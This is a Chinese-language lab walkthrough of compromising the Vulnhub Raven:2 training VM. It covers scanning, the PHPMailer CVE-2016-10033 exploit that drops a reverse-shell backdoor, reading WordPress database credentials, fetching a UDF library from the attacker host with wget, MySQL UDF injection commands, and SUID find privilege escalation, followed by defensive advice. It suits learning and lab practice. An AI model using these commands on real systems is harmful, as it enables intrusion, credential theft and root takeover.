Vulnhub Raven:2
字数 1230 2025-08-27 12:33:31
Vulnhub Raven:2 渗透测试教学文档
1. 环境准备与目标发现
1.1 主机发现
使用 arp-scan 工具扫描本地网络,发现目标主机:
arp-scan -l
输出显示目标IP为 192.168.1.32,MAC地址为 00:0c:29:12:96:8f(VMware虚拟机)
1.2 端口扫描
使用 nmap 进行详细扫描:
nmap -A 192.168.1.32
扫描结果:
- 22/tcp: OpenSSH 6.7p1
- 80/tcp: Apache httpd 2.4.10
- 111/tcp: rpcbind 2-4
2. Web应用信息收集
2.1 目录枚举
使用 dirb 进行目录扫描:
dirb http://192.168.1.32
发现以下重要目录:
- /vendor/ - 包含关键信息
- /wordpress/ - WordPress安装目录
2.2 关键文件发现
在 /vendor/ 目录下发现:
/vendor/PATH- 包含flag1和绝对路径信息/vendor/VERSION- 显示PHPMailer版本为5.2.16PHPMailerAutoload.php- 确认使用PHPMailer组件
3. 漏洞利用
3.1 PHPMailer漏洞利用(CVE-2016-10033)
-
从Exploit-DB获取漏洞利用代码:https://www.exploit-db.com/exploits/40974
-
修改exp:
- 添加编码声明
# -*- coding: utf-8 -*- - 修改目标IP和利用文件为
contact.php - 修改后门文件名为
shell.php - 设置反弹shell地址为攻击者IP和端口
- 添加编码声明
-
执行exp:
python 40974.py
- 访问
contact.php触发漏洞 - 在攻击机上启动监听:
nc -lvvp 8888
- 访问生成的
shell.php获取反弹shell
3.2 获取数据库凭证
在WordPress配置文件中找到数据库凭据:
cat /var/www/html/wordpress/wp-config.php
4. 权限提升
4.1 改善shell交互
将简单shell升级为伪终端:
python -c "import pty;pty.spawn('/bin/bash')"
4.2 MySQL UDF提权
- 确认MySQL以root身份运行:
ps -ef | grep mysql
- 下载UDF提权工具:
wget http://192.168.1.30/raptor_udf2.so -P /tmp
- 在MySQL中执行:
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func; -- 验证函数创建
- 利用自定义函数提权:
select do_system('chmod u+s /usr/bin/find');
- 使用find命令获取root权限:
touch finn
find finn -exec "/bin/sh" \;
5. 关键知识点总结
-
信息收集:
- 使用arp-scan进行主机发现
- nmap全面扫描获取服务信息
- dirb目录枚举发现敏感文件
-
漏洞利用:
- PHPMailer 5.2.16存在远程代码执行漏洞
- 利用时需要特别注意payload格式和后门文件名
-
权限提升:
- MySQL UDF提权技术
- 通过设置SUID位利用find命令提权
-
技巧:
- 简单shell升级为伪终端的方法
- 文件传输技巧(wget)
- MySQL插件目录的确定方法
6. 防御建议
- 及时更新PHPMailer到最新版本
- MySQL服务不应以root身份运行
- 限制Web目录的文件上传和执行权限
- 定期检查系统上的SUID/SGID文件
- 禁用不必要的MySQL函数功能